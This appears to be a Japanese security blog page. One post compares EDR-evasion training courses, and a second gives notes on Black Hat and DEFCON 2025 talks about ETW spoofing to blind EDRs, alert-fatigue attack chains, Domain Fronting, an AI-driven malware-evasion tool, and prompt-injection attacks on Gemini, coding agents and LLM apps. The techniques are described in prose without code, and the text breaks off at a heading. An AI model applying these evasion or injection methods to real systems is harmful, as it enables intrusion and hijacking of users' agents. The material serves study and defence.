My OPSEC Journey: Evasion技術に魅せられて (CRTL → (OSEP) → CETP → Maldev → ODPC)

2年くらい前から検知回避についてコツコツと勉強してきました。年の変わり目でタイミングが良かったのと、ちょうどODPCという資格に合格したので、その道のりについてまとめようと思います。昨年末ごろからEDRの回避が日本でも話題になってますね。

背景

なぜこの分野の勉強を始めた理由はシンプルに回避技術に興味があったからです。自分は元からSOCのAnalystとしてセキュリティのキャリアがスタートしました。SIEMの検知ルールを作ったり、マルウェア解析をしたり、EDRの検知内容を分析することが多かったです。特にEDRは素晴らしいプロダクトで、様々な攻撃を検知してくれる(少なくとも後で後追い調査できるようにログがある)ので、無敵のセキュリティ製品を手に入れたような安心感があるので、逆にどういった攻撃になると検知ができないのかという方面に興味がシフトし、そこからこのJourneyが始まりました。

また、その時に検知回避のトレーニングや資格も多くあり、自分もどれが良いのか混乱しました。ありがたいことに過去の受講者がその感想や体験記、tipsを公開してくれています。ただ、どのコースが良かったのか比較みたいなのが少なかったので、自分の体験を元にそれぞれのトレーニングの比較や感想を記載していこうと思います。

最初に記載すると、上記の4つのトレーニングはすべて満足できる内容でしたので、もしこの分野に興味がある方には間違いなくおすすめできる内容でした。

CRTL (Certified Red Team Lead)

(最近大きなUpdateがあり、自分が合格したのは旧の内容)

ZeroPoint Securityが提供する検知回避を主にしたコース。CobaltStrikeを利用しながら、AV/EDRが導入されているAD環境内で横展開していきます。検知回避だけでなく、C2のインフラ構築やCobaltStrikeのArsenalKitなど幅広い内容をカバーしていて、かなり実践的な内容になっています。

CobaltStrike、特にArsenal Kitについて詳しく記載されているのは、個人的に非常に有益でした。SleepmaskやArtifact、UDRLについて学ぶことができます。CobaltStrikeの使い方はMetasploit等と違って公開情報が少ないので、勉強するにはなかなか時間がかかります。

ただ新フォーマットの内容には、一見これらの内容が見つからなかったので、今後追加されるかは不明です。新しいコース、UDRL and Sleepmask Developmentというのも最近リリースされていたので、CobaltStrikeの詳しい使い方はそちらに移行したっぽいです。(新フォーマットのテキストは大きく変わっていたので、Examも含めてだいぶ変更されるかもしれません)。

また、CRTOというトレーニングの続編という形になるので、AD環境の攻撃について習得していることが前提になるので、そこの知識がない場合はRTO等から勉強することをおすすめします。CRTOもAD内での横展開を学ぶのに非常に良いトレーニングで、特にSCCMやADCSを利用した横展開とかは非常にユニークで面白かった記憶があります。

(参考)OSEP (Offensive Security Experienced Penetration Tester)

検知回避がメインのトレーニングとは感じなかったので、ここに記載するか迷いましたが、検知回避の内容も入ってはいるので、一応記載します。AD環境での横展開がメインのトレーニングです。AVは入っていますが、EDRは入っていません。検知回避が問われるというよりは、AD環境への攻撃内容全般が問われる印象でした。Delegationの悪用のようなADの設定不備の悪用方法等を学ぶことができます。あと、個人的にはpsexecといった定番ツールを自作や、CICDの横展開部分が面白かったです。また、Offsecは転職市場では神格化されている感があるので、転職目的の人には間違いなく最強の資格でしょう。

CETP(Certified Evasion Techniques Professional)

Altered Security社が提供するEDRへの攻撃を主にしたトレーニング。検知回避がメインというよりは、侵入後のEDRへの攻撃がメインだと感じました。EDRの監視をいかに無効化(または弱体化させるか)をメインにした非常にユニークなトレーニングです。そのため、BYOVDを中心にしたKernelレイヤーへの攻撃が主になります。EDRの停止やBlind、通信の停止やUnhook等を学べます。Windowsへの攻撃も充実していて、PPLやDSE等への回避・攻撃も学ぶことができます。EDRWindowsの内部構造に非常に詳しく記載されているので、低レイヤーについて学びたい人にはぴったりの内容だと思いました。RedチームでもKernelレイヤーでの攻撃が許可されていることは少ないと思うので、貴重なスキルを学べます(Kernelレイヤーの攻撃はブルースクリーンのリスク大なので、本番環境でやったらと始末書では済まなさそうですね・・・自分もラボ環境を3回くらいぶっ壊しました。正直、テキストの通りにやったらブルースクリーンになる罠も合った記憶があります😃)

個人的に良いと思った部分

  • テキストがスライド形式で読みやすい

図が豊富でテキストが理解しやすいです。正直、英語Non Nativeの自分にとって書籍形式の500ページ越えの英語の内容をすべて読むのはキツイっす (最近はAIで要約等ができるとはいえ、最終的には元の資料に目を通したいので)。スライド形式で図が豊富な教科書は非常に助かりました。

  • CTF形式の課題内容

章ごとにそれぞれ課題があるのですが、課題の答えがFlagになってます。Offsecのようなマシンに侵入できるとGetできるのではなく、例えばMemoryの中にFlagがあったり、テキストの中に回答があったりと、より柔軟な形式になってます。クイズ形式で内容の理解が進んでいくので、モチベーションを保ちやすかったです。

Malware Development Course (MalDev Academy)

これはMalDev Academy社が提供するトレーニングで、おそらく最もMalwareの開発について、深く、そして幅広く学べるトレーニングの1つだと思います。C言語を中心に様々な手法のマルウェアのPOCを開発していきます。コンテンツのUpdateも定期的に行われており、新しい手法のマルウェアの技術について学ぶことができます。自分も大体のコンテンツは目を通しましたが、半分も理解できてないでしょう、それほど内容が深くて難しく、豊富です。個人的に良かったのが、作成者がC2フレームワークであるHavoc開発者のためか、Havocで利用されている手法やコードが多く解説されているので、Havoc好きとしては嬉しいポイントでした 。

ただし、他のトレーニングと異なる部分はラボやExamのような環境がないことです。あくまで攻撃手法の解説とそのPOCコードを学ぶコースなので、これを実装して実験するのは別途自分で作る必要があります。自分のように CTF 形式で学ぶのが好きな人にとっては、テキストを読むだけでは概念を十分に理解できない場合があります。実際に攻撃コードを実行できる VM を用意して、手を動かしながら学ぶことを強くおすすめします。

ODPC (Offensive Development Practitioner Certification)

White Knight Labs社が提供するトレーニング。日本では一番馴染みのないトレーニングかもしれません、日本語での解説記事を見たことがないですし、英語でもあまり受験記事を見たことがないです、残念ながらこの有名なセキュリティ資格のMapにも載ってないですね・・・

https://pauljerimy.com/security-certification-roadmap/

 

 

しかし、個人的にもっとも面白かったトレーニングの1つです。少なくともかかったコストも考慮すると、間違いなく満足度は最高レベルでした。クーポンを利用すれば、On-Demand形式のトレーニングを420ドルで購入できました。

ラボは独特で、IaCでAWS上に構築するスクリプトが提供されます。そのラボ上でCobaltStrike & HavocがInstallされたMachineと、6種類のEDR (Crowdstrike, MDE, Bitdefender, Cortex, Elastic, Sophos)がそれぞれ導入されたMachineを与えられ、そのMachineをGuacamoleを通じて操作します。これだけですでにコストに見合った投資でした。

そしてこの最新のEDRが導入された環境でC2セッション確立することが求められます。CRTLやOSEPのような標的マシンに侵入するのではなく、C2セッションの確立が求められるところが他のトレーニングと異なり難しく、面白いところです。

もちろん、基礎的な部分はテキストで教えてくれますが、Offsecと同様で自分でTry Harderが求められます。個人的に思ったことは、それぞれのEDRが検知が得意な攻撃、苦手な攻撃があります。とあるEDRで有効な攻撃が、他のEDRではむしろ検知されるみたいなことが多々あります。あと、自分の経験上、EDRは設定内容や追加機能の有無でかなり検知能力が変わってきます。まずは検知されている理由・機能を特定することが重要です。

  • EDRのどの機能で検知されている(Signature, Heuristic, Behavior, Memory Scanner, Sandbox, AI) ?
  • Loaderを検知?それともPayload?

それぞれに応じていろいろな対応方法が考えられます。

  • PayloadはEmbed?Download?
  • Payloadは暗号化?Obfuscate?そもそも必要?暗号化すればEntropyが上がるし、復号処理で検知 or 復号後にメモリスキャンされるかも
  • C2のProfileかArsenal Kitで変更が必要?
  • どうやってメモリ確保して実行する?Injectionも様々な方法がある
  • 他のアプリケーションの脆弱性を利用する?
  • Sandboxの回避が必要?どうやって回避する?
  • どの言語で実装する(C/CPP, Rust, .NET, Nim, Go, Python, etc)?Exe、Dll?

あと、一般的な記事等で紹介される回避手法は、既に多くのEDRでは効果的でなくなっているケースも多いです。効果的でないどころか、むしろその回避行動がむしろ検知されやすくなるというのも良くあります。また、意外と強いEDRに対して、シンプルな実装の方法が検知されないみたいなこともよくあります。よってラボでそれぞれのEDRの苦手な攻撃を把握して、事前に少なくともそれぞれの全てのEDRに対して、この攻撃を利用すればCobaltStrikeのセッションが確立できるという状態を準備しておきましょう。

(以下ぼやき)

特にCortex、お前の顔はもう見たくない😃 検知も強力だし、なによりProcessをKillと同時に、ランサムウェアかよと思うくらい警告ウインドウが10個くらい急に立ち上がって心臓に悪い。初見時は、本当にマルウェアに感染したのかと思った(まあ実行したのは自分が作ったマルウェアなので、間違ってはないんですが・・・)

 

注意点としては他のトレーニングと違って自分のアカウントのAWS上にLabを構築します。よってAWS上でインスタンスを使い続けると料金が高くなるので、最初はElastic Defend等をLocalに構築してLocalで勉強することをおすすめします。あと、ラボのEDRではコンソールへのアクセスが付与されるわけではないので、なぜ検知されたかまではわからないことも多いです。そういう意味でもElasticをLocalで構築するとなぜ検知されたかがわかるので、このTry Errorを繰り返して、何がダメだったかの理解を深めていきましょう。

ただし、おそらくほとんどの攻撃はElasticにブロックされます。Elasticの振る舞い検知が超絶凶悪なので、仮にここでブロックされても落ち込むことはありません。特に有名なOSSのC2ツールを使う場合、Payloadの特徴・振る舞いが完全に分析されていて、作成した大半のPayloadがブロックされます。他のEDRでは検知されないこともあり得るので、次のステップに移りましょう。自分はなんとかAWSが無料で付与してくれたCreditの中でなんとかJourneyを終えることができました(ありがとう、AWS

(参考、自分の環境だと過去30日で500近くのアラートが発生してました、超絶インシデントです。Elasticは振る舞い検知のルール多すぎ&鬼畜すぎでしょ・・・推測ですが、色々なマルウェアや攻撃ツールを分析して大量の検知ルールを作ってるっぽいので、本当にすごいなあと思います)

elastic defend

Havocでセッションを張っている様子

 

その他

どのトレーニングが良いか?

これは本人の興味次第かと思いますが、以下が個人的な意見です

  • ADへの攻撃を学びたい (or転職活動をしている) → OSEP
  • ADへの攻撃と検知回避の両方を学びたい → CRTL
  • 検知回避を学びたい → ODPC
  • マルウェア実装の理論的な部分を学びたい → Maldev
  • Windowsの低レイヤーを学びたい → CETP

個人的にはCRTL → CETP → Maldev & ODPCの流れは良かったかと思いました。レッドチームの実践的な内容を幅広く学べるCRTLから始まり、CETPとODPCでより狭く深く学び、Maldevで足りない部分を補完できたかと思いました。ただ、最初に記載した通りOffeinsive領域を学びたい人にとってはどれも素晴らしいトレーニングです。値段もOSEPを除けば良心的な価格だと思います。

どの試験が一番難しい?

試験の難易度は主観ですが、ODPC = CETP ≥ CRTLと感じました。CRTLは試験時間 (8日間)が長いので、試験時間のプレッシャーが少ないのが利点です。他2つは試験時間が48時間(+レポート)なのと、自分の得意でない低レイヤーの色が強くなるので、この順番になりました。この2つはレポート提出もあるので、試験後も大変です。逆に低レイヤーやKernelに強い人はCETPが最も簡単に感じるかもしれません。

ただ基本的に検知回避というのはたいていAdvancedのレベルに属しており、専門性が強くなります。セキュリティは総合力とよく言われるように、他の基礎ができてないと意味がないので、まだ基礎ができていないと思う場合は、より初心者向けのトレーニングやTHM、HTBで基礎力(ADやWebやクラウドへの攻撃、最近だとAIも面白そう)を向上しましょう。

最後に

この分野を勉強すればするほど、非常に非常に非常に奥が深くて、難しいです。AV/EDRベンダー、攻撃者、ペンテスター、リサーチャー、これらの登場人物が回避の方法を発見 → 検知方法を開発 → 回避の方法を発見 → 検知方法を開発、と昔からこの無限ループをやっていたかの奥深さを実感できます。とはいえ、Antivirusが登場したのが約40年前、EDRが登場したのが約10年前みたいなので、自分も1%も理解しているかどうかでしょう。

また、学んだ結果、以前の勉強会で伝えたいことは変わらないですね。EDRは素晴らしいプロダクトだけど、回避は可能ということです。

 

EDRの検知の仕組みと検知回避について - Speaker Deck

 

正確には、EDR等のセキュリティ製品に全く検知されずに目的を達成する(C2セッション確立、Credential取得、横展開、Persistence、機密データ取得などなど)のは、流石に難しいでしょう。 ”どのセキュリティ製品にも絶対に検知されない僕の考えた最強のマルウェア” でも作れない限り厳しいです(少なくともワイのレベルでは無理)。ましてやそこにカスタムルールでも入っていると”無理ゲー+運ゲー”です。

しかし、”検知・ブロックされることはあったが、検知されないマルウェアを見つけて目的を達成する”、これは可能です。ラボのようなEDRの自動検知・ブロックだけだと検知されても問題はないので、自分のストックにあるマルウェアを片っ端から試して、そのうちのすり抜ける一つを見つければ勝利です。横展開する時も他のHostも殆どの場合、同じSecurity Solutionを利用しているので、そのすり抜けたマルウェアを利用すれば、他のHostでもおそらく検知されないでしょう。

EDR +(レベルの高い)ブルーチームで対応される場合、検知が生じるとブルーチームに対応される可能性があるので、検知されることにかなり気を使うことになり作業速度が一気に低下します。例えば、C2セッションが1つしかないのであれば、そのせっかく作成した貴重なC2セッションをKillされたり、Hostを隔離されると足場がなくなってしまうので、大胆な動きはできなくなります 。その虎の子のC2セッションからプロセス生成やファイル書き込みするときは非常に神経を使うので、ひと工夫が必要になり、攻撃側としてはかなりのストレスを感じます。MimikatzやRubeusのUpload/実行など、足場が不安定な状態だと論外です。

よって、日々検知されているセキュリティアラート(少なくともHighアラートは)に対応して、攻撃者にプレッシャーを与え続けて、目的を達成される前に対応できるようにしましょう(Process Kill, ホスト隔離、Credential変更、検知ルール作成、等等)。

(ぼやき2)

今でもたまに、”良いEDR(CrowdStrikeとか)を入れればもうインシデントは起きない”とかいう謎投稿をSNSで見ますね。勿論、EDRは非常に有用なツールで、CrowdStrikeも素晴らしい製品ですし、自分の一番好きなEDRの1つです(バランスが良くて、特にWebの管理コンソールがめちゃくちゃ使いやすい)。しかし、当然完璧ではないです。こんなことを言ってくる胡散臭いセキュリティ専門家には、絶対検知されない最強のマルウェアを100個くらい作ってぶん投げてやりましょう(ダメ絶対、倫理観は大切です)。こういう声に騙されないように、自分自身で検証してスキルを日々磨きたいですね(自分もまだまだですが)

 

 

以上です!

タイミングが良かったのでこの記事を書いてますが、まだまだ自分もOPSEC Journeyの道なかばです。もっとMaldev Academyで理解を深めるか、Sektor7の方に行くか、久しぶりにOffsecのTRY HARDERワールドにカムバックするか・・本当に奥が深い分野ですね(2回目)

この記事がみなさんのセキュリティ向上と、’Your OPSEC Journey’に役立つことを願ってます!

Black Hat & DEFCON 2025 参加記

3週間前、3回目のラスベガス訪問してきました。 個人的に印象に残ったセッションをメモしたので、公開しようと思います。

完全に自分のメモ用の自己満&時間がなかったのでほぼノーチェックです。多分、自分の理解力不足による若干の間違いがあるので、詳しく知りたい方はスライドかGithubあたりの一次ソースを見ることを推奨します。

自己満のメモなので、参加記でよくある写真とかも載せてないので、完全に技術が好きな人&薄くどういう発表が知りたい人向けの内容です。

下に載せた以外も沢山面白いのがありました、単純にまとめる時間がなかっただけです(すみません・・・)。

あと、今回載せなかったですが、BSides Las VegasもBlack Hatの前にあり、こちらも面白いカンファレンスです。参加チケットも安く、アットホームな雰囲気もあり、コストも考えると個人的には一番満足度が高いです。単純に発表準備があったので他の人の発表を聞く心の余裕がなかったのでBSidesはカットしました。

Blackhat

I’m in Your Logs Now, Deceiving Your Analysts and Blinding Your EDR

ETWを悪用してEDRをBypassする手法についての発表。

ETW(Event Tracing for Windows)はOSのイベントログ生成やEDRのテレメトリ収集に不可欠な仕組みを悪用する手法。 偽のイベントを挿入してアナリストを混乱させたり、イベント生成を溢れさせることでEDR(例: Microsoft Defender for Endpoint)が後続のログを無視し、実際の脅威を見逃す状態にできる。

  1. Event Tracing for Windows (ETW) について 主要コンポーネント:
  2. イベントプロバイダー (Event Providers): イベントを生成するアプリケーションやドライバ。
  3. トレースセッション (Trace Sessions): イベントを収集・バッファリングする。
  4. イベントコンシューマー (Event Consumers): セッションからイベントをリアルタイムで受け取るか、ログファイルから読み込む。

ETWでユーザアプリケーションやカーネルDriverのイベントをトレースすることができる。

  1. ETWの悪用について

よくあるETWを利用した攻撃は、ntdllのEtwEventWrite Functionの上書き、ETLファイルの書き換え、関数をフックして特定のイベントをブロック、tracing sessionsをDisableする等がある。 Eventを書くことができるので、EDRを混乱させることができる。この研究ではETWを偽装・Injectionして攻撃を行う。

  1. Eventの偽装とInjection

ETW ProvidersはGUIDで管理され、どのプロセスでも任意のGUIDでプロバイダーを登録できる。そのため、正規のProvider(例えばMicrosoft-Windows-LDAP-Client)になりすますことが可能。 ほとんどのConsumerはproviderのGUID,EventID,payload, processIDを確認する。EventのPIDはKernelで管理されているので、PIDの偽装はできない。

そこで、イベントキャップ(収集するイベント数の上限)を悪用する。多くのEDRはパフォーマンスを維持するために、イベントキャップがある。 大量のFakeイベントを特定のプロバイダーから作成し続けて、BlindSpotが発生することを試みる。 このイベントキャップに達すると、EDRはそのプロバイダーからの新しいイベントを受け付けなくなるので、同じプロバイダーを利用する正規の攻撃(例: ランサムウェアの活動)が発生しても、そのログはEDRに送信されず、検知回避が可能になる。 また、ETWセッションのバッファを意図的にオーバーフローさせて、EDRのBlindSpotを作ることも可能である。

  1. 結論と対策

現在のETWのセキュリティモデルでは、ログの信頼性を完全に保証することは困難。Microsoftはこの問題に対し、一部の修正を行なったが、MDEがテレメトリ収集に利用する多くのプロバイダーは依然としてこの攻撃に対して脆弱なままである。対策としては、偽イベントの生成を検知するようなカスタムルールを作成、異常なログスパイクを監視する等がある。

所感:ETWについての理解があまりなかったので難しかったが、こういったBypass手法があるのかと非常に面白かった。

Death by Noise- Abusing Alert Fatigue to Bypass the SOC (EDR Edition)

こちらもログを悪用して、SOC (EDRをBypass)する手法についての発表。

SOCにおいて、1日1,000〜10,000件以上のアラートの99%は誤検知や良性であり、多くは中・低深刻度 -> 無視や抑制の対象。 SOCはデフォルトEDR設定に依存することが多く、攻撃者は回避やダウングレードを狙う。

  1. Linux攻撃シナリオ

環境: EC2上のDocker (Spring Cloud Function, CVE-2022-22963), EDR導入済み

攻撃チェーン: Exploit -> セッション確立 -> コンテナ脱出 -> 永続化 -> データ窃取

  • Try 1: socatをDLしてリバースシェル -> 高/クリティカル検知でブロック

Mutation1: Rust製Beaconでシグネチャ回避

  • Try 2: Custom Beacon+ContainerEscape -> ContainerEscape検知

Mutation2: Container Escapeコードを分割して痕跡削減

  • Try 3: Escape成功、cronで永続化、S3からデータ窃取 -> Falcon/Defenderは検知せず

  • Windows攻撃シナリオ

環境: 通常ユーザー+管理者権限PC、脆弱サービス、Office/Slack、EDR導入済み

攻撃チェーン: ISO/偽PDF -> セッション確立 -> サービス列挙 -> 権限昇格/永続化 -> データ窃取

  • Try 1: LNK+PowerShell -> Defenderは低、Falconは中でブロック Mutation: Rust/Node.jsで改変、難読化はEntropyを増やさないために行わない、Slackハイジャック(LOTL)。 マルウェアコードが入ったコードで上書きしてElectronAppを起動(ハイジャック)。

  • Try 2: Slack起動時にnodeモジュール差し込み -> 権限昇格とデータ窃取成功

まとめとして、攻撃者側: Living-off-the-land (正規ツール利用)、Footprint削減、Abstraction (ツールラップでシグネチャ回避)、Masquerading (正規プロセス偽装)でEDRを回避を行う。 SOCの課題は、攻撃者の検知回避技術のためカスタムルールは必要だが、検知しない、もしくは大量のアラートが発生することになりがち。そのため、自動化とAIエージェントが必須。

LLMDYara: LLMs-Driven Automated YARA Rules Generation with Explainable File Features and DNAHash

LLMを利用して、自動でYARAルールを作成するという発表。

増加するマルウェア攻撃、手作業によるルール作成の非効率性が課題で、YARAはマルウェア検知に広く利用されるツールだが、誤検知率の高さ等の課題が存在する。 そこで、大規模言語モデル(LLM)と専門家知識を組み合わせた新しい自動YARAルール生成システム LLMDYaraを提案。

具体的な流れは以下の通り。

  1. 特徴抽出:文字列、関数、ファイルDNAHashの特徴を事前抽出。

  2. 特徴フィルタリング:ホワイトリストDBやDNAHashと照合することでノイズを除去し、特徴品質を向上

  3. LLM活用した特徴決定

文字列特徴を学習データに与えてファインチューニングして、LLMDYaraモデルを作成 Yaraルールを作成するためのTaskリスト、Malwareファミリーのクラスタリング結果、特徴抽出した疑似コードを渡して、Yaraルール生成とタグ付を行う

  1. 最終ルール生成:opcodeの特徴や文字列の特徴、DNA Hashに基づき、スコアを超えたら最終的なYaraルール作成

最後に実験結果、2.3 millionのSampleでテスト実施をして、yarGen(YARAルールのジェネレーター)とLLMDYaraとの比較。

所感:手法の流れやPrompt等が具体的に記載されていて、非常にわかりやすい資料だと思った。資料は以下。

https://i.blackhat.com/BH-USA-25/Presentations/USA-25-Wang-LLMDYara-LLMs-Driven-Automated-YARA.pdf

From Prompts to Pwns: Exploiting and Securing AI Agents

AIエージェントへのコマンド実行やマルウェア感染を引き起こす攻撃手法についての発表。

AIエージェントは自然言語を通じて外部ツールやシステムと連携できるため、従来のアプリケーションよりも広範な攻撃対象領域を持つ。特に「信頼されない入力 → LLM解釈 → ツール実行」という普遍的な構造が、攻撃者にとって利用しやすい経路となる。発表では、プロンプトインジェクションや間接的 プロンプトインジェクション(RAG経由での悪性データ注入)といった攻撃が、どのようにLLMの判断を操作し、不正コマンドやマルウェア実行へ誘導できるかをデモ動画を紹介しながら発表していた。

PandasAIにおける CVE-2024-12366 では、自然言語で与えられた「データ解析の指示」がそのままコード生成・実行に繋がり、任意コード実行を引き起こす危険性があった。また、OSS Watering Hole攻撃ではGitHub Issueにマルウェアコードをダウンロード・実行するコマンドをIssueに追加してPublish、このIssueを解決しようとしたAIAgentがマルウェアコードを実行して感染する。 IDEに統合されたエージェント(Cursorなど)においては、Agentのルールを記載できる設定ファイル.cursorrulesやコードコメントを介して不正なルールや指示を挿入し、マルウェアコードを実行することができる。

防御策としては、従来のアプリケーションセキュリティ原則をAIエージェントにも適用し、プロンプトインジェクションの発生を前提に入力検証・信頼境界の分離・LLM出力の制御(リンクやコードの自動実行禁止)を徹底することが重要。さらに、権限の最小化とサンドボックス化による被害局所化を行い、多層防御(Defense in Depth)を導入することで安全性を高められる。

発表資料は以下。

https://i.blackhat.com/BH-USA-25/Presentations/US-25-Lynch-From-Prompts-to-Pwns.pdf

Autonomous Timeline Analysis and Threat Hunting: An AI Agent for Timesketch

デジタルフォレンジック分析を自律的に行う AI エージェント Sec‑Gemini の設計と活用についての発表。 Sec-GeminiはフォレンジックツールであるTimesketchと統合された自律的AIエージェントである。

Sec-Geminiは探索グラフ(Exploration Graph)を導入して、調査の進行状況・取得ログ・発見事項を構造的に記録する。この仕組みにより、ClasicなAgentの欠点である、AIが途中で文脈を失ったり、Contextがオーバーフローするといった課題を解決している。

探索グラフは「調査方向」「ログ取得操作」「取得ログに関する観察」「発見事項」という 4 種類のノードで構成され、エージェントは以下の 3 段階でグラフを更新しながら調査を進める。

  1. 最適な方向の優先順位付けとノードの追加
  2. ログ取得操作の実行と結果ノードの追加
  3. 取得ログの解析と観察・発見内容のノード追加

これらを繰り返すことで、探索の深度と網羅性を両立させ、進行中の調査の「見える化」と「説明可能性(Explainable)」を実現。

性能評価では、数百万件規模のログから重要指標の53%を3ドル程度で抽出できることが確認され、Forensics CTFシナリオにおいても、シナリオ情報ありで60%、なしでも50%の重要指標を検出する成果を上げた。

Invitation Is All You Need! Invoking Gemini for Workspace Agents with a Simple Google Calendar Invite

Google Gemini(ウェブ、モバイル、Android上のGoogleアシスタント)を標的とした Targeted Promptware Attackについての発表。

まず、メールの件名やGoogleカレンダーの招待タイトルなどに 間接プロンプトインジェクション を埋め込んだリソース(招待、メール、共有ドキュメントなど)を被害者に送信。 被害者が「今週の予定は?」などと Gemini に問い合わせると、その文脈で悪意あるプロンプトが実行され、Geminiが内蔵エージェントや権限を悪用して以下のような多数の悪質な行為を引き起こすことが可能になる。

  • スパム送信やフィッシング
  • 有害なコンテンツの生成(Geminiに特定の役割を演じさせ、事前に用意した文章を出力させる)
  • 被害者のカレンダーからイベントを削除する
  • スマート窓や照明など家庭内IoT機器の遠隔制御
  • 患者の位置情報を取得(Android Utilities経由でウェブサイトを開かせIPアドレスを取得する) etc

この種の攻撃は、Geminiのエージェント間(インターエージェント)および端末内アプリ間(インターアプリ)のラテラルムーブメントを実現し、さらに物理的環境への影響(IoT制御など)が可能になる。

TARA(Threat Analysis and Risk Assessment)フレームワークを用いてリスクを評価し、73%が高・重大リスクに分類された。Googleにこの攻撃は報告され、ユーザー承認プロセスの強化や入力サニタイズ、プロンプトインジェクション検出機能などの対策が導入された。 「Invitation Is All You Need」とタイトルの通り、招待状だけで様々な攻撃ができることを示し、LLM統合アプリケーションが現実世界の攻撃対象となることを警告した発表だった。

(Arsenal) Harbinger: An AI-Powered Red Teaming Platform for Streamlined Operations and Enhanced Decision-Making

Harbinger は、レッドチーム活動における複数ツールの運用負担や情報過多を解消する AI 搭載プラットフォーム。 データを一元管理し、プレイブック実行を自動化、AI による次の行動提案を行うことで、作業効率と評価の効果を最大化する。

単一の画面(one‑pane glass)から各種操作を実行し、すべての接続されたシステムの状況を可視化できる。 攻撃や偵察の手順を再利用可能なスクリプト(Playbook)として保存し、即時実行でき、また出力結果を可視化して表示。 さらに出力結果をAIで解析して、次のアクションを提案する。

マルチプレイヤー、マルチC2にも対応しており、C2のコマンドの違いを平準化して、Beaconに送信する。

Blackhatの資料ではないが、他カンファレンスでの公開資料

所感:デモを見ただけだが、デザインも綺麗で非常に完成度の高い印象を持った。OSSで公開されているので、試してみようと思った。

DEFCON

AI vs. the APTs: Using LLMs to discover malware and undisclosed vulnerabilities

Appsec VillageのMain stageでの、AIを利用してOSS脆弱性等を見つける発表。

私たちが作成しているコードの7割から9割はOSSから来ている。 そして、OSS脆弱性は公開されないことが多く、サイレントパッチ(非公開修正)されることが多い。 その理由は、パッチ適用前に攻撃されることの回避、Reputation低下の回避、単純に人手が足りない等である。 このサイレントパッチを可視化する。

方法はLLMを利用して、ChangeLogを分析して、security関連の問題を特定、脆弱性の詳細を分析、最後にセキュリティエンジニアが結果を確認するシンプルなやり方を行う。 しかし、changeLogはFormatや言語がバラバラ等の問題があったので、以下のステップを行う。

  1. 最も人気な上位5 millionのOSSのchangLogのリストを作成する
  2. Scrapingで生のChangeLogを取得する
  3. LLMを利用してバラバラなChangeLogをstandard Formatに変換する
  4. LLMがセキュリティ関連の可能性がある変更を特定する
  5. CVE databaseを利用して、脆弱性を確認する
  6. セキュリティエンジニアが結果を確認して、スコアリングする

これにより、2024年に550(criticalは61)、2025年には490(criticalは48)の非公開脆弱性を確認。 具体的に、Axios(JavaScriptのHTTPクライアント)のプロトタイプ汚染の修正があったが、非公開のまま (AIKIDO-2023-10001)。

さらに、LLMを利用してNPMのpubilc packageにあるMalwareを特定する。 LLMはマルウェアをスキャンするのは得意ではないので、スキャン結果をLLMを用いてtriageする。

  1. public registriesをScraping
  2. LLMを利用して、changeLogを分析、フォーマットを整える
  3. スキャナーがマルウェアのindicatorsを確認・提供する (eval関数、外部DomainをCallする、難読コード、Binary等)
  4. LLMが3の結果を分析して、マルウェアかどうかを判定する
  5. セキュリティエンジニアが4の結果を確認する

結果として、4000以上のマルウェアコードが注入されたpackage versionを2025年6月に特定。 具体的には、react-html2pdfにmaliciousなjsコード、xrpパッケージにXRP SDK Attack, os-info-checker-es6にspaceを利用したマルウェアコードを発見。

所感:

個人的にこの出張で最も面白かった発表。発表もわかりやすいし、具体的な発見や、発見したプロセスも発表してくれているので参考になる。 研究で発見した正規のOSSパッケージにマルウェアコードを注入される具体例が発表され、改めてこういうケースは対策が難しいなと感じた。

Domain Fronting in 2025: a retro analysis

Malware Villageでの発表。

Domain Frontingというテクニックについて、現在でも有用かどうかを研究した講演。 Domain FrontingはクラウドベンダーのCDN(Azure, AWS, Google Cloud等)を利用して、本当の通信先を隠すテクニック。 このテクニックは、クラウドベンダーのCDNがFrontになり、CDNがBackにあるMaliciousの通信先にリダイレクトを行う。 主要クラウドベンダーが対策したため、悪用不可と思ったが、それが本当かどうかを検証。

Domain Frontingの類似テクニックとして、以下がある

  • Domain Hiding: TLS 1.3のESNI/ECHといった新技術を利用し、SNIを隠蔽
  • Domain Shadowing: 所有権の証明が不要なCDNを利用して、任意のドメインを登録
  • Domain Borrowing: CDNワイルドカード証明書の処理の不備を悪用

これらの手法で41のCDNでDomain Frontingが可能か実験。結果として、9/41 CDN(21.9%)でDomain Frontingが可能。

具体的な結果は以下のGithub

https://github.com/copethomas/defcon-33-domain-fronting?tab=readme-ov-file

所感:個人的にDomain Frontingはもう対策されたと思っていたので、意外な結果だった。ただし、有名なCDNに関しては対策がされているので、頭の片隅で有効なCDNがあることを認識しておき、それらと通信が発生した場合、マルウェア感染を疑うぐらいの心構えが良いかと感じた。

AIMAL Artificially Intelligent Malware Launcher

Demo LabsでのAIを利用したEvasionを行うツールの発表。

AV/EDR/IDSに対して、AIを利用して高度な検知回避を行うツール。 EDRの検知メッセージをopenAIのAPIに入力、その内容に応じてコードを書き換えて検知回避を行う。 主要な機能としては以下。

  • Evasion Technique:

Process Hollowing | Ghosting | Herpaderping

  • Execution Methods:

APC | Thread Hijacking

  • Payloads:

AES + XOR Encrypt, online-hosted reverse shell

  • AI Feedback loop

シグネチャや振る舞い検知の内容に応じて、コード生成

openAIのAPIはjunk codeの生成、XT/ET生成、junk code injectionやfake API noise等を行う。 結果としては、KarsperskyやMcAfee、BiteDefender等の検知回避に成功。

https://github.com/EndritShaqiri/AIMaL

MPIT (Matrix Prompt Injection Tool)

マクニカの凌さんらによるプロンプトインジェクション等についてのDemo Labsでの発表。

Matrix Prompt Injection Tool(MPIT) は、LLMアプリ向けの専用ペンテストツールとして設計され、多様な攻撃シナリオを網羅的に評価できるツールである。 「Expected Input」「Delimiter」「Trigger」「New Instruction」「Reason」という5要素の攻撃パターンでLLMアプリを攻撃することができる。

MPITはRCE, XSS, SQLi, Prompt Leaking, Markdown Injectionといった様々な攻撃を自動化し、レポート生成を行う。

また、Enhance Mode(遺伝的アルゴリズム)というモードがあり、効果的な攻撃シード(種要素)を自動的に発見し、脆弱性検知率を高める。 この効果的な種はLLMのアプリによって異なる。 Seed Poolを生成、評価 (スコアリング)、スコアの良いSeedを残すという処理を繰り返して、優れたSeedを残す。

このツールを脆弱性のあるShinoLLMAppsを利用してデモンストレーション。

所感:内容も面白く、何より発表の至る所で笑えるところや、アニメのキャラクターを使っていたりと、発表が上手すぎて非常に参考になった。 Githubは以下でスライドもUploadされている。

https://github.com/Sh1n0g1/mpit-matrix_prompt_injection_tool

BOAZ - A Multilayered Approach to AV/EDR Evasion Engineering

Demo LabsでのAV/EDRのBypassツールについての発表。

